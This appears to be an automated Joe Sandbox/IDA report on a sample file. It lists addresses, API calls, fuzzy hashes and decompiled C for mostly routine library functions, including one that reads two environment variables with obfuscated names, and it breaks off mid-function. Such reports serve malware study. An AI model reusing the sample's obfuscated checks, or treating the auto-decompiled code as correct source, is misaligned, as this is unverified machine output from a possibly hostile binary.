0x00b6d491
0x00b6d495
0x00b6d49f
0x00b6d497
0x00b6d497
0x00b6d497
0x00b6d4a1
0x00b6d4a9
0x00b6d4ac
0x00b6d4af
0x00b6d4b4
0x00b6d4b7
0x00b6d4b9
0x00b6d4bc
0x00000000
0x00b6d46e
0x00b6d471
0x00b6d481
0x00b6d4bf
0x00b6d4c2
0x00b6d4e1
0x00b6d4e7
0x00b6d4ec
0x00b6d4c4
0x00b6d4c9
0x00b6d4cf
0x00b6d4d2
0x00b6d4d2
0x00b6d4f2
0x00b6d4f6
0x00b6d4fb
0x00b6d501
0x00b6d501
0x00b6d506
0x00b6d509
0x00b6d51a
0x00b6d525
0x00b6d52b
0x00b6d531
0x00b6d531
0x00b6d471
0x00b6d534
0x00b6d539
0x00b6d543
0x00b6d543
0x00b6d546
0x00b6d546
0x00b6d562
0x00b6d568
0x00b6d56d

APIs

__EH_prolog3_catch.LIBCMT ref: 00B6D435
RtlEnterCriticalSection.NTDLL(?), ref: 00B6D446
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,00B6D813,00B6BD57,00B6C775,00B06215,?,?,?,00B05C95,?,?,00B036FB), ref: 00B6D462
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,00B6D813,00B6BD57,00B6C775,00B06215,?), ref: 00B6D4D2
LocalReAlloc.KERNEL32(?,00000000,00000002,00000000,00000010,?,?,00000000,?,00000004,00B6D813,00B6BD57,00B6C775,00B06215,?), ref: 00B6D4EC
RtlLeaveCriticalSection.NTDLL(?), ref: 00B6D4FB
_memset.LIBCMT ref: 00B6D51A
TlsSetValue.KERNEL32(?,00000000), ref: 00B6D52B
RtlLeaveCriticalSection.NTDLL(?), ref: 00B6D562

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: CriticalSection$AllocLeaveLocalValue$EnterH_prolog3_catch_memset
String ID:
API String ID: 4057217241-0
Opcode ID: ac2c05317f02c2da210876acc35289b552be1d29366d82da441e8d6875f43961
Instruction ID: cf5df9221a61dbc6b73757f2ecb050579fd8c45493ebdf2669dd23f784458ecd
Opcode Fuzzy Hash: ac2c05317f02c2da210876acc35289b552be1d29366d82da441e8d6875f43961
Instruction Fuzzy Hash: 8C31CE70A00706EFDB24AF51D8C5E2AFBF9FF90314B10856DE5169B6A0DB35AD50CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B078EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00B078EE(void* __ecx, void* __eflags) {
				void* _t27;
				intOrPtr _t37;
				signed int _t46;
				intOrPtr _t47;
				signed int _t48;
				intOrPtr _t62;
				void* _t64;
				void* _t65;
				void* _t66;

				0xc81503(0x17c);
				_t47 =  *((intOrPtr*)(_t64 + 8));
				_t62 =  *((intOrPtr*)(_t64 + 0xc));
				_t27 = E00B695A9(__ecx, L"IIDIEK[\\IO[Q");
				0xc84b10(_t27, 0);
				_t66 = _t65 + 0xc;
				if(_t27 != 0) {
					L3:
					E00B03D46(_t64 - 0x28, _t27);
					 *(_t64 - 4) =  *(_t64 - 4) & 0x00000000;
					_push(0);
					E00B07590(_t64 - 0x28, __eflags, _t29, E00B09A45(E00B695A9(_t64 - 0x28, 0xcf3b40)));
					E00B07590(_t64 - 0x28, __eflags, _t47, E00B09A45(_t47));
					_push(1);
					_push(0x40);
					_push(0x21);
					_push(_t64 - 0x28);
					E00B03949(_t64 - 0xe0);
					 *(_t64 - 4) = 1;
					_t37 =  *((intOrPtr*)( *((intOrPtr*)(_t64 - 0xe0)) + 4));
					__eflags =  *(_t64 + _t37 - 0xd4) & 0x00000006;
					if(( *(_t64 + _t37 - 0xd4) & 0x00000006) == 0) {
						_push(1);
						_push(0x40);
						_push(0x22);
						_push(_t62);
						E00B03B57(_t64 - 0x188);
						 *(_t64 - 4) = 2;
						_push(_t64 - 0xd0);
						E00B05071(_t64 - 0x188, __eflags);
						E00B0789A(_t64 - 0x188, __eflags);
						E00B07868(_t64 - 0xe0, __eflags);
						_t48 = 1;
						E00B052B1(_t64 - 0x188);
					} else {
						_t48 = 0;
					}
					E00B05225(_t64 - 0xe0);
					E00B071CD(_t64 - 0x28, 1, 0);
					_t46 = _t48;
				} else {
					_t27 = E00B695A9(__ecx, L"DVWLH^J");
					0xc84b10(_t27, _t27);
					_t66 = _t66 + 0xc;
					if(_t27 != 0) {
						goto L3;
					} else {
						_t46 = 0;
					}
				}
				0xc814b2();
				return _t46;
			}

0x00b078f8
0x00b078fd
0x00b07900
0x00b0790a
0x00b07910
0x00b07915
0x00b0791a
0x00b0793b
0x00b0793f
0x00b07944
0x00b07948
0x00b07964
0x00b07975
0x00b0797a
0x00b0797c
0x00b0797e
0x00b07983
0x00b0798a
0x00b07995
0x00b07999
0x00b0799c
0x00b079a4
0x00b079aa
0x00b079ac
0x00b079ae
0x00b079b0
0x00b079b7
0x00b079c2
0x00b079c6
0x00b079cd
0x00b079d8
0x00b079e3
0x00b079ee
0x00b079f0
0x00b079a6
0x00b079a6
0x00b079a6
0x00b079fb
0x00b07a07
0x00b07a0c
0x00b0791c
0x00b07922
0x00b07928
0x00b0792d
0x00b07932
0x00000000
0x00b07934
0x00b07934
0x00b07934
0x00b07932
0x00b07a0e
0x00b07a13

APIs

__EH_prolog3_GS.LIBCMT ref: 00B078F8
__wgetenv.LIBCMT ref: 00B07910
__wgetenv.LIBCMT ref: 00B07928

Part of subcall function 00C84B10: _wcsnlen.LIBCMT ref: 00C84B49
Part of subcall function 00C84B10: __lock.LIBCMT ref: 00C84B5A
Part of subcall function 00C84B10: __wgetenv_helper_nolock.LIBCMT ref: 00C84B65

char_traits.LIBCPMT ref: 00B07957
char_traits.LIBCPMT ref: 00B0796A

Strings

IIDIEK[\IO[Q, xrefs: 00B07905
DVWLH^J, xrefs: 00B0791D

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: __wgetenvchar_traits$H_prolog3___lock__wgetenv_helper_nolock_wcsnlen
String ID: DVWLH^J$IIDIEK[\IO[Q
API String ID: 4033293098-1430980991
Opcode ID: e5969b9590176d1b33d6c51c73e4573f906603bbe6b3df1d73e2390d79f0e81d
Instruction ID: 81811a35ea3d6e1bbfd8f938ed52ae6636bf1eef6f7e2b3f3f92e5be2533e855
Opcode Fuzzy Hash: e5969b9590176d1b33d6c51c73e4573f906603bbe6b3df1d73e2390d79f0e81d
Instruction Fuzzy Hash: C7318171A44204BBDB54F6A0CC66FEDBBA8AF10700F4444D4F50A761C2EEB5AB84CA65

Uniqueness

Uniqueness Score: -1.00%

Function 00CC4EDF Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

FindCompleteObject.LIBCMT ref: 00CC4F00
FindMITargetTypeInstance.LIBCMT ref: 00CC4F39

Part of subcall function 00CC4B9F: PMDtoOffset.LIBCMT ref: 00CC4C31

FindVITargetTypeInstance.LIBCMT ref: 00CC4F40
PMDtoOffset.LIBCMT ref: 00CC4F51
std::bad_exception::bad_exception.LIBCMT ref: 00CC4F7A
__CxxThrowException@8.LIBCMT ref: 00CC4F88

Strings

Bad dynamic_cast!, xrefs: 00CC4F72

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Find$InstanceOffsetTargetType$CompleteException@8ObjectThrowstd::bad_exception::bad_exception
String ID: Bad dynamic_cast!
API String ID: 1565299582-2956939130
Opcode ID: 0ac7a50445c1586291dc24e7afd36c5d332c870d3c6a9885d71e41c40a626989
Instruction ID: d5298648a46f3e845a1e3158a98453b956ffd514750bdfedb43fc2e801a5faf5
Opcode Fuzzy Hash: 0ac7a50445c1586291dc24e7afd36c5d332c870d3c6a9885d71e41c40a626989
Instruction Fuzzy Hash: AC21D572A002049FCB18EFA8C852FAE7B79AF48711F15800CF91597281CA34DA05EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B93114 Relevance: 12.1, APIs: 8, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B93114(void* __ecx) {
				int _t16;
				void _t20;
				int _t27;
				void* _t28;
				void* _t30;
				void* _t31;
				void* _t32;

				_t28 = __ecx;
				 *((intOrPtr*)(__ecx + 0xc)) = 1;
				 *((intOrPtr*)(_t28 + 0x114)) = GetSystemMetrics(0x31);
				_t16 = GetSystemMetrics(0x32);
				_t30 = _t28 + 0x16c;
				 *(_t28 + 0x118) = _t16;
				SetRectEmpty(_t30);
				if(EnumDisplayMonitors(0, 0, 0xb92faa, _t30) == 0) {
					SystemParametersInfoW(0x30, 0, _t30, 0);
				}
				_t27 = 0;
				_t31 = _t28 + 0x190;
				 *0xd6d540 = 0;
				 *_t31 = 0;
				 *(_t28 + 0x194) = 0;
				if( *((intOrPtr*)(_t28 + 0x180)) == 0) {
					SystemParametersInfoW(0x1002, 0, _t31, 0);
					_t27 = 0;
					if( *_t31 != 0) {
						SystemParametersInfoW(0x1012, 0, _t28 + 0x194, 0);
						_t27 = 0;
					}
				}
				_t32 = _t28 + 0x1a4;
				 *(_t28 + 0x1c8) = _t27;
				 *((intOrPtr*)(_t28 + 0x1a8)) = 1;
				SystemParametersInfoW(0x100a, _t27, _t32, _t27);
				_t20 =  *_t32;
				 *(_t28 + 0xc) =  *(_t28 + 0xc) & 0x00000000;
				 *(_t28 + 0x1a0) = _t20;
				return _t20;
			}

0x00b9311d
0x00b93121
0x00b9312c
0x00b93132
0x00b93134
0x00b9313a
0x00b93141
0x00b9315f
0x00b93168
0x00b93168
0x00b9316a
0x00b9316c
0x00b93172
0x00b93178
0x00b9317a
0x00b93186
0x00b93190
0x00b93192
0x00b93196
0x00b931a6
0x00b931a8
0x00b931a8
0x00b93196
0x00b931ab
0x00b931b1
0x00b931be
0x00b931c8
0x00b931ca
0x00b931cc
0x00b931d0
0x00b931d9

APIs

GetSystemMetrics.USER32(00000031), ref: 00B93128
GetSystemMetrics.USER32(00000032), ref: 00B93132
SetRectEmpty.USER32(?), ref: 00B93141
EnumDisplayMonitors.USER32(00000000,00000000,00B92FAA,?,?,778D9FF0,00000001,00B930D5), ref: 00B93151
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00B93168
SystemParametersInfoW.USER32(00001002,00000000,?,00000000), ref: 00B93190
SystemParametersInfoW.USER32(00001012,00000000,?,00000000), ref: 00B931A6
SystemParametersInfoW.USER32 ref: 00B931C8

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: System$InfoParameters$Metrics$DisplayEmptyEnumMonitorsRect
String ID:
API String ID: 2614369430-0
Opcode ID: f3c39d6334a4952620b53e57fe087f035d6dbed98538b2c3d3da9ba95ff8c789
Instruction ID: 56d78b475f0fbf527c92768904eef15aa0d1417f661fd37be6ff486ddc60bfd9
Opcode Fuzzy Hash: f3c39d6334a4952620b53e57fe087f035d6dbed98538b2c3d3da9ba95ff8c789
Instruction Fuzzy Hash: 54116AB1741611BFF7198F60CC4ABE6FBA8FF04751F00422EE65996280D7B079548BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B0A517 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00B0A5AB
_memmove.LIBCMT ref: 00B0A60B
_memmove.LIBCMT ref: 00B0A633
std::_Xinvalid_argument.LIBCPMT ref: 00B0A669

Strings

string too long, xrefs: 00B0A502, 00B0A664
invalid string position, xrefs: 00B0A50C, 00B0A65A

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: _memmove$Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1771113911-4289949731
Opcode ID: fddda9f9fed4db88a6ae09004c7c2cf79c1b217995e3e476b2b5bc4d42930b8d
Instruction ID: e75d6e7ea7ccf885f712eff6c9a01ae7e04a96bcaea1ae4c77df62e9f1e2c809
Opcode Fuzzy Hash: fddda9f9fed4db88a6ae09004c7c2cf79c1b217995e3e476b2b5bc4d42930b8d
Instruction Fuzzy Hash: 5C51AF313003059BCF24DE58DD8496ABFFAEF95750B184DA9E842976C1CB32ED45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00B0990D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00B0999C
_memmove.LIBCMT ref: 00B099DF
_memmove.LIBCMT ref: 00B09A09
std::_Xinvalid_argument.LIBCPMT ref: 00B09A35

Strings

string too long, xrefs: 00B09A30
invalid string position, xrefs: 00B09A3A

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: _memmove$Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1771113911-4289949731
Opcode ID: d5c420873f391edda82330467db94e0a935b4e71702fd7c4dff593c62acb23a8
Instruction ID: 3b8cda09abfa74f832aa7902d724b17648fe038aecb496072391bfc1a6d40192
Opcode Fuzzy Hash: d5c420873f391edda82330467db94e0a935b4e71702fd7c4dff593c62acb23a8
Instruction Fuzzy Hash: D941A270300205DFDB24CF5CD88095ABBF6EF85744B2049ADF8968B2C2D771E945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B06594 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00B06594(void* __ebx, intOrPtr* __ecx, void* __eflags) {
				intOrPtr _v44;
				signed int _v52;
				char _v88;
				char _v104;
				char _v128;
				char _v152;
				intOrPtr* _t23;
				void* _t24;
				intOrPtr _t36;
				intOrPtr* _t41;
				char* _t43;

				0xc81503(0x5c);
				_t23 =  *((intOrPtr*)( *__ecx + 0x34))();
				_t24 =  *((intOrPtr*)( *_t23 + 8))( &_v152);
				_v52 = _v52 & 0x00000000;
				_t41 =  &_v104;
				_v52 = 1;
				E00B04197(_t41);
				_v104 = 0xcf2cb4;
				0xc8143b( &_v104, 0xd48098, 0, E00B02ED4(__ebx, _t23,  &_v128, _t24, ": this object doesn\'t support resynchronization"));
				asm("int3");
				0xc81503(0x44);
				 *((intOrPtr*)( *_t41 + 0x28))();
				E00B01E2C( &_v88, "StreamTransformation: this object doesn\'t support random access");
				_v52 = _v52 & 0x00000000;
				_t43 =  &_v128;
				E00B04197(_t43);
				_v128 = 0xcf2cb4;
				0xc8143b( &_v128, 0xd48098, 0,  &_v88);
				asm("int3");
				_t36 = _v44;
				 *((intOrPtr*)(_t43 + 0xc)) = _t36;
				return _t36;
			}

0x00b0659b
0x00b065a2
0x00b065ad
0x00b065b0
0x00b065c9
0x00b065cc
0x00b065d0
0x00b065dd
0x00b065e5
0x00b065ea
0x00b065f2
0x00b065f9
0x00b06604
0x00b06609
0x00b06613
0x00b06616
0x00b06623
0x00b0662b
0x00b06630
0x00b06634
0x00b06637
0x00b0663b

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0659B

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00B065E5

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

__EH_prolog3_GS.LIBCMT ref: 00B065F2
__CxxThrowException@8.LIBCMT ref: 00B0662B

Strings

: this object doesn't support resynchronization, xrefs: 00B065B4
StreamTransformation: this object doesn't support random access, xrefs: 00B065FC

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Exception@8H_prolog3_Throw$ExceptionH_prolog3Raise
String ID: : this object doesn't support resynchronization$StreamTransformation: this object doesn't support random access
API String ID: 999754459-3551788113
Opcode ID: 4381f18662944c82c011754a542ba19199d65a4c953b7b3133ecce6a007dc57c
Instruction ID: 5dbfcd13859953074dda4e129ad06cf4e9036b4daee15c83797bb8391f791955
Opcode Fuzzy Hash: 4381f18662944c82c011754a542ba19199d65a4c953b7b3133ecce6a007dc57c
Instruction Fuzzy Hash: BB115EB0A50208EFDB04EBE0C846FEDBBB8AF14314F540454FA05AB291DBB09949DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00B6E191 Relevance: 10.5, APIs: 7, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B6E191(void* __ecx) {
				struct HBRUSH__* _t14;
				void* _t16;

				_t16 = __ecx;
				 *((intOrPtr*)(_t16 + 0x28)) = GetSysColor(0xf);
				 *((intOrPtr*)(_t16 + 0x2c)) = GetSysColor(0x10);
				 *((intOrPtr*)(_t16 + 0x30)) = GetSysColor(0x14);
				 *((intOrPtr*)(_t16 + 0x34)) = GetSysColor(0x12);
				 *((intOrPtr*)(_t16 + 0x38)) = GetSysColor(6);
				 *((intOrPtr*)(_t16 + 0x24)) = GetSysColorBrush(0xf);
				_t14 = GetSysColorBrush(6);
				 *(_t16 + 0x20) = _t14;
				return _t14;
			}

0x00b6e19b
0x00b6e1a1
0x00b6e1a8
0x00b6e1af
0x00b6e1b6
0x00b6e1c3
0x00b6e1ca
0x00b6e1cd
0x00b6e1cf
0x00b6e1d4

APIs

GetSysColor.USER32(0000000F), ref: 00B6E19D
GetSysColor.USER32(00000010), ref: 00B6E1A4
GetSysColor.USER32(00000014), ref: 00B6E1AB
GetSysColor.USER32(00000012), ref: 00B6E1B2
GetSysColor.USER32(00000006), ref: 00B6E1B9
GetSysColorBrush.USER32(0000000F), ref: 00B6E1C6
GetSysColorBrush.USER32(00000006), ref: 00B6E1CD

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: 2082c1b7dfdb1976a73e547d3427c72febd6b87f8d565820cd12126bc518fed1
Instruction ID: e0dc921703a55eec10b26539cda069b3c9f5bd580bee393b582912ddffa1e789
Opcode Fuzzy Hash: 2082c1b7dfdb1976a73e547d3427c72febd6b87f8d565820cd12126bc518fed1
Instruction Fuzzy Hash: 64F0A271E4072967D710AF759D497467E95FB44760F050527D2048FD80D7B5E460DFC4

Uniqueness

Uniqueness Score: -1.00%

Function 00CD945E Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__malloc_crt.LIBCMT ref: 00CD947C
std::exception::exception.LIBCMT ref: 00CD9496
__CxxThrowException@8.LIBCMT ref: 00CD94CC
Concurrency::details::ContextBase::CancelCollection.LIBCMT ref: 00CD94E8
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00CD94F1

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Base::CancelConcurrency::details::Context$CollectionException@8StealersThrow__malloc_crtstd::exception::exception
String ID:
API String ID: 1697683264-0
Opcode ID: df5384ff116aa54de369c4f44449f93d5a93ebb93275b05f1c2d53f678f16dad
Instruction ID: e4f573e6b4ba0283dae4cab9bdecf6d71ad80ff508c41388f7c73ca196be4842
Opcode Fuzzy Hash: df5384ff116aa54de369c4f44449f93d5a93ebb93275b05f1c2d53f678f16dad
Instruction Fuzzy Hash: 430161759003086ACB01EFA4D852ADEBBACDB40758F10816AFE15AB241DB709A499BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00B07BA0 Relevance: 7.6, APIs: 5, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00B07BA0(void* __ebx, void* __eflags) {
				void* _t60;
				intOrPtr _t61;
				void* _t62;
				intOrPtr _t64;
				void* _t65;
				intOrPtr _t70;
				intOrPtr _t78;
				void* _t81;
				intOrPtr _t82;
				intOrPtr* _t105;
				intOrPtr* _t107;
				void* _t108;
				void* _t111;
				void* _t116;

				_t111 = __eflags;
				_t81 = __ebx;
				0xc86748(0x340, 8);
				 *((intOrPtr*)(_t108 - 0x348)) =  *((intOrPtr*)(__ebx + 0x28));
				 *((intOrPtr*)(_t108 - 0x340)) =  *((intOrPtr*)(__ebx + 0x2c));
				_t82 = 0xf;
				 *((intOrPtr*)(_t108 - 4)) = 0;
				 *((char*)(_t108 - 0x339)) = 0;
				 *((intOrPtr*)(_t108 - 0x20)) = _t82;
				 *((intOrPtr*)(_t108 - 0x24)) = 0;
				 *((char*)(_t108 - 0x34)) = 0;
				 *((intOrPtr*)(_t108 - 0x38)) = _t82;
				 *((intOrPtr*)(_t108 - 0x3c)) = 0;
				 *((char*)(_t108 - 0x4c)) = 0;
				 *((char*)(_t108 - 4)) = 2;
				E00B0241A(_t108 - 0x4c, __ebx + 0x10, 0);
				 *((char*)(_t108 - 4)) = 3;
				_t60 = E00B037AF(_t108 - 0x338, _t111);
				 *((char*)(_t108 - 4)) = 4;
				0xcaa905( *((intOrPtr*)(__ebx + 8)), 0x20,  *((intOrPtr*)(__ebx + 0xc)), 0xc, 0xffffffff);
				_t61 = E00B6BC90(_t60, 0x10);
				 *((intOrPtr*)(_t108 - 0x344)) = _t61;
				 *((char*)(_t108 - 4)) = 5;
				if(_t61 == 0) {
					_t62 = 0;
					__eflags = 0;
				} else {
					_t62 = E00B038CD(_t61, _t108 - 0x34);
				}
				 *((char*)(_t108 - 4)) = 4;
				0xcab97b(_t108 - 0x338, _t62, 0x10, 0xffffffff, 4);
				 *((char*)(_t108 - 4)) = 6;
				_t64 = E00B6BC90(_t108 - 0x338, 0x14);
				 *((intOrPtr*)(_t108 - 0x344)) = _t64;
				 *((char*)(_t108 - 4)) = 7;
				_t113 = _t64;
				if(_t64 == 0) {
					_t65 = 0;
					__eflags = 0;
				} else {
					_t65 = E00B043F1(_t64, _t108 - 0x190, 3);
				}
				_push(_t65);
				_push(1);
				 *((char*)(_t108 - 4)) = 6;
				_push(_t108 - 0x4c);
				E00B0444E(_t108 - 0x84, _t113);
				E00B04C1B(_t108 - 0x78);
				_t107 =  *((intOrPtr*)(_t108 - 0x340));
